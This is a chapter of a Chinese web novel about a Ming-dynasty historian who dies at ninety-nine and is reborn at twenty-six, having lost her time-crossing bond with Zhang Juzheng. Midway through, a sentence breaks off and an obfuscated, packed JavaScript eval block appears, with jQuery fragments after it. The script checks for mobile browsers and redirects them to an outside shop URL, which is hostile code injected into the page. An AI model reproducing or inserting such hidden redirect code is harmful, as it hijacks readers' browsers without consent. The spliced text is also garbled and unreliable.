国家博物馆《江陵遗韵》特展的压轴展厅里，人潮在下午三点达到峰值。
“姑奶奶，您慢点。”
侄孙推着轮椅小心绕过举着手机拍照的游客。轮椅上坐着位白发如雪的老太太，腿上盖着米色羊绒毯，整个人很瘦。可她的背挺得笔直。
穿着西装的工作人员快步迎上来，低声道：“就在前面了，温教授。按您的要求，闭馆前最后半小时单独为您开放。馆长说……”
已经九十九岁的温暖，轻轻抬了抬手，缓慢道：“谢谢，我想自己待会儿。”
展厅的灯光在这一刻调整了角度。中央恒温恒湿的玻璃柜忽然被聚光灯笼罩，柜中那幅纵约两米、横一米的绢本设色画作，像是从沉睡中被骤然唤醒。
《大明太师张江陵真容图》。
画前已经没几个人了。最后两个年轻女孩凑在玻璃前嘀咕：
“我的天，这真的是张居正？史书没说这么帅啊！”
“你看这光影处理，简直像拍了张照片然后工笔描了一遍，这真是明朝人能画出来的？”
“落款就一个温字，神秘得要命。哎你说，会不会是他哪个红颜知己啊。”
轮椅停在了最佳观赏距离，温暖的目光落在画上，落在画中人的眉眼间。
就在此时，展厅内智能语音导览的播报，恰好以平静无波的声线，流淌到这一隅：“……一代名相，功过难断。其生前推行万历新政，挽救大明国运；身后遭万历皇帝抄家清算，长子自尽，家眷流离……”
温暖耳边传来了远方导游的话语，而她的视线，正看着画中人的手腕，那里，一串沉香木手串被画得纤毫毕现。
她的右手，几乎在同一时刻，摸上自己的左腕。那里，一串一模一样的沉香手串已经戴了八十九年。油润的包浆让珠子泛着琥珀般的光泽，唯有中间那颗的月牙，还能看出当年的模样。
画外是历史的尘埃与定论，画内是私人凝固的笔触与时光。
“姑奶奶？”侄孙察觉到她的颤抖，弯下腰轻声问，“您还好吗？”
温暖没回答。她的手指隔着玻璃，虚虚地、一寸寸地描摹。从剑眉，到挺直的鼻梁，到那抹若有似无的唇角弧度。
她的眼泪就这么毫无预兆地滚下来。不是啜泣，没有声音。只是泪水顺着皱纹纵横的脸颊往下淌，一滴接一滴，落在米色羊绒毯上。
旁边还没走的女孩偷偷举起手机，被工作人员一个眼神制止了。
“这老太太……”女孩小声跟同伴咬耳朵，“哭得好伤心啊。”
“可能是搞明史研究的吧？代入感太强了。”
“可是张居正又不是岳飞那种悲剧英雄，他好歹善终了。”
“善终什么呀，死后被抄家，长子自尽，家属饿死，唉，也是惨。”
议论声传来，模糊不清。
温暖的整个世界，只剩下那幅画，和画里藏了一生的秘密。
“温暖，你确定要这样画？”
阳光明媚的书房里，二十五岁的张白圭，那时他已经改名叫张居正了，有些无奈地看着趴在大书桌上的女子。
温暖整个人几乎趴在大幅绢帛上，左手端着西洋来的玻璃调色盘，右手握着细狼毫笔，鼻尖还蹭了块茜红色。
“别动别动，光影就差最后一点了。”她头也不抬，笔尖在绢上细细点染。
张居正叹了口气，保持着端坐的姿势，视线却落在她手腕上。那里戴着他送的生辰礼，沉香木手串，此刻随着她的动作轻轻晃动。
“你这画法若传出去，定会被斥为异端。”他声音里带着青年男性特有的清朗，还有一丝不为人知的宠溺。
“那就别传出去呀。”温暖终于抬起头，笑道，“这幅画就我们俩知道，等你当了大官，我就把它裱起来，挂在你书房最显眼的地方。”
张居正失笑：“这么确定？”
温暖理直气壮：“当然。”
他看着她被颜料弄花的小脸，看着那双纯粹得不含任何杂质的眼睛，忽然很轻地说：“若我真有那么一日，这幅画，我定好好珍藏。”
“真的？”
“真的。”
“拉钩。”
“拉钩。”
男子伸出小指，勾住女孩沾满颜料的手指。
温暖咧开嘴笑了：“那说好啦，这幅画要传后世，见你真容。”
张居正看着两人勾住的小指，指间还沾着未干的颜料。他忽然轻声说：“温暖，若此画真能传世，后世之人只见我紫袍玉带、宰辅威严，未免无趣。”
温暖问：“那你想让他们看见什么？”
张居正的目光落在她脸上，从她蹭着颜料的脸颊，移到那双清澈见底的眼眸，眼底深处情绪翻涌，最终化为一句极轻的叹息，融化在书房的阳光里：“就让他们看见，我看见的你吧。”
闭馆铃声突兀地响起，工作人员轻声提醒：“温教授，时间到了。”
温暖猛地回神。
展厅的灯光开始次第熄灭，唯有画作上方的射灯还留着，像舞台最后的追光。
她最后看了一眼那幅画。看了一眼画角那个飞白狂草的温字印章。
温暖缓缓闭上眼睛，掌心那串沉香手串贴着她的脉搏，还在微微发烫，再睁开眼时，眼底翻涌的海浪已归于深沉的平静。
她说：“走吧。”
不是告别，是履约，赴一场多年前就许下的，寿终正寝之约。
轮椅碾过光洁的大理石地面，发出轻微的声响。身后，射灯也灭了，《大明太师张江陵真容图》重新沉入恒温恒湿的黑暗里。像沉入一个做了四百年的梦。
。。。
深夜，医院。
九十九岁的温馨躺在床上，手中紧紧握着那串沉香手串。生命最后的走马灯在眼前亮起。
闪过的不是等身的著作、无数的奖章、学术界的尊崇。
而是十岁生日蛋糕上摇曳的烛光。
烛光对面，那个眉目清俊、眼神狡黠灵动的少年，正笑着说：“温暖，生辰快乐。”
是现代房间里，少年看着电视新闻里火箭升空，震撼到失语的侧脸。
是半块玉佩分离时，沁入掌心的冰凉触感。
是万历六年，荆州码头汹涌的人海中，那隔着千山万水、仿佛穿越了时空的、仓促而遥远的一瞥。
耳边，少年清朗的声音，穿越所有时光尘埃，清晰响起：
“温暖，我要你寿终正寝，平安喜乐一生。”
病床上，气若游丝的温馨，用尽最后一丝力气，苍老的嘴唇翕动，呢喃回应：
“白圭，我做到了，你呢？”
“走完那条注定孤独的路，累不累啊？”
眼角最后一滴泪，没入银白的鬓发。紧握的手串，微光一闪，倏然熄灭。
心电图归于绵长永恒的直线。
享年，九十九岁。
黑暗温柔地包裹了她。没有痛苦，只有一种漫长的、终于到站的疲惫。她想，这就是终点了吧。可是……
“暖暖？暖暖你听得见吗？”
声音像是从很远的水底传来，温暖费力地撑开眼皮，视线先是模糊的白色天花板，然后慢慢聚焦到两张焦急的脸，年轻了至少三十岁，还没有皱纹的脸。
“妈？爸？”她的声音沙哑的厉害。
张妈妈又哭又笑的喊着：“醒了，醒了，医生，我女儿醒了。”
温暖怔怔地看着他们。母亲眼角还没有鱼尾纹，父亲头发还是浓密的黑色，没有后来那些刺眼的白发。
他们穿着世纪初流行的针织衫和夹克，满脸的担忧。
这是她二十六岁那年？她出车祸那年的父母？
记忆涌来，那刺耳的刹车声、破碎的车窗玻璃、天旋地转，然后是在病床上昏迷的一周。
因为她知道了张居正娶了顾氏，心神恍惚闯了红灯。
张妈妈抚上她的额头，说：“你这孩子，吓死妈妈了。以后绝对不能这样了，听到没有？过马路要看清红绿灯，不能走神，不能……”
温暖轻声打断她：“妈。”
她抬起右手，摸向自己的左胸口。那里，曾经只要张白圭情绪剧烈波动，喜悦、愤怒、悲伤、痛苦，就会有感应的位置。
空了，一片空虚。像是有人把维系了两世的那根弦，干脆利落地剪断了。
她下意识地，像过去许多年习惯的那样，在心头轻轻唤了一声：“白圭。”
没有回应。没有那熟悉的、穿越时空的轻微心悸。
她又唤了一声，这次带了点慌：“张白圭。”
依旧是一片寂静的空旷。仿佛那根连接了两世、痛了也甜了几十年的弦，从未存在过。
原来最痛的失去，不是死亡，而是连失去本身的存在，都被抹去了痕迹。
“暖暖？”张爸爸察觉她的异样，“哪里不舒服？心脏疼吗？我叫医生。”
“不，不用。”温暖迅速放下手，挤出一个笑容，“就是，刚醒，有点懵。”
她的视线落在自己手腕上，沉香手串还在，深褐色的珠子，中间那颗月牙形的凹痕。和博物馆里画上的一模一样，只是还没有经过八十多年的摩挲，光泽略显生涩。
手串在，感应却没了。
为什么？
“你真的吓坏我们了。”张妈妈还在后怕，眼眶红红的，“昏迷了一个多星期，医生都说，都说可能醒不过来了。”
“对不起。”温暖说，声音很轻，“真的对不起。”
这句道歉，是说给这一世的父母听的。更是说给上一世那对陪她孤独终老、最终也没能看见女儿结婚生子的父母听的。
上辈子她一生未嫁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144335|196365||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，把所有热情都投进了明史研究。父母从最初的担忧劝解，到后来的无奈接受，再到最后陪她在书房整理资料、帮她校对论文。
他们从未真正理解她为什么对四百年前的一个古人如此执着，却用尽一生包容了她的执着。
“醒了就好，醒了就好。”张爸爸像是不知道该怎么表达激动，“饿不饿？想吃什么？爸爸去买。”
“我想，”温暖顿了顿，“喝妈熬的小米粥。”
“好、好，我这就回家熬。”母亲立刻站起来，又迟疑地看向她，“那你一个人。”
“我没问题的。”温暖笑着说，“真的。”
那笑容乖巧、懂事，像是用尽了全身力气才堆砌出来的。
父母一步三回头地离开了病房。
门轻轻合上。病房里瞬间安静下来。只有监测仪器规律的滴答声，和窗外隐约的车流声。
温暖慢慢坐起身。左腕的手串随着动作滑到小臂，触感冰凉。她抬起手，对着窗户透进来的阳光。
珠子在光线下泛着淡淡的油润光泽，木质纹理清晰可见。这是张白圭十岁那年送给她的，说是他祖父留下的老料，能安神静心。
而她买的沉木香手串送给了张白圭，这就是他们能够互相穿越的原因。彼此有一串一模一样的沉木香手串。
上辈子，这手串是她穿越时空的媒介，是她和张白圭之间看不见的纽带。
这辈子呢？温暖闭上眼睛，集中全部意念。
白圭，张白圭，张居正。
心里空空荡荡，没有回应，没有共鸣，没有那种跨越时空的、玄妙的联结感。像是打出去的电话永远忙音，发出的讯号永远石沉大海。
她睁开眼，看向窗外。
北京的秋日天空那么蓝，阳光那么的明亮。银杏树叶已经开始泛黄，在风里晃出一片碎金。
多好的天气，多好的年纪。二十六岁，父母健在，身体健康，美好的人生才刚刚开始。
她重生了，带着上辈子九十九年的记忆，带着那些和张白圭有关的、甜蜜又苦涩的全部过往，回到了这个一切还来得及的节点。
温暖轻声说：“可是我们之间的那条线，断了啊。”
她摸着手串，忽然笑了一下，那笑容里有什么东西碎掉了，又有什么东西重新凝固起来。
“也好。”她对着空气，也对着四百年前那个人说：
“上辈子我们隔着时空，这辈子我们连感应都没了。张白圭，这是不是老天爷在告诉我，该醒了？”
该醒过来了，从那个十岁生日开始做的、持续了八十九年的梦里，彻底醒过来。
这一世，她要好好陪父母，要过正常人的生活，要结婚生子，要像每一个普通人那样走完平凡却温暖的一生。
至于心里那个角落，就让它永远下着那场跨越了四百年的雪吧。
“这辈子，”温暖对着窗外灿烂得过分的阳光，轻声说，“就让我带着对你的怀念，默默活完。”
阳光刺得她眼睛发酸，原来放下不是松开手，是把那个人溶进骨血里，然后带着这份重量，去走一条没有他的新人生。
“不再相见。”
“不再相连。”
话音落下的瞬间，手腕上的沉香手串，忽然轻微地热了一下。
像是一个遥远到快要消散的回应。
又像是一个漫长故事的，最后的句点。
这时候，病房门被推开，护士端着治疗盘进来。
“温小姐，该测体温了。”
年轻的护士声音清脆，动作利落地取出电子体温计。酒精棉片冰凉的触感擦过温暖的手腕内侧，正好触碰到沉香手串的边缘。
那一瞬间——一股极淡的、熟悉的气味钻进鼻腔。是沉香的清冽，混合着旧纸张的霉味，还有一点点蜡烛燃烧后的烟熏气。
温暖整个人僵住了。
“温小姐？”护士疑惑地看着她突然苍白的脸，“不舒服吗？”
温暖：“没、没有。就是有点冷。”
“那我给您加床被子。”
护士转身去取备用被褥的几秒钟里，温暖怔怔地看着自己的手腕。看着那串突然变得陌生的手串，气味还在，但是眼前的景象越来越清晰。清晰到她几乎能看见，昏黄的烛光，堆满线装书的书架，青砖地面冰凉的温度。
和那个穿着素色儒童服、举着蜡烛、一脸警惕却又掩不住好奇的小男孩。
“汝是狐仙，还是书灵？”
烛火在他手里晃了一下，把他的影子拉得老长，投在身后那些《四书大全》《性理大全》的书脊上。
十岁的温暖一屁股坐在地上。
她眨巴眨巴眼睛，看看小男孩，看看周围完全陌生的环境，再看看自己身上还没来得及换下的生日公主裙。
“……我在做梦？”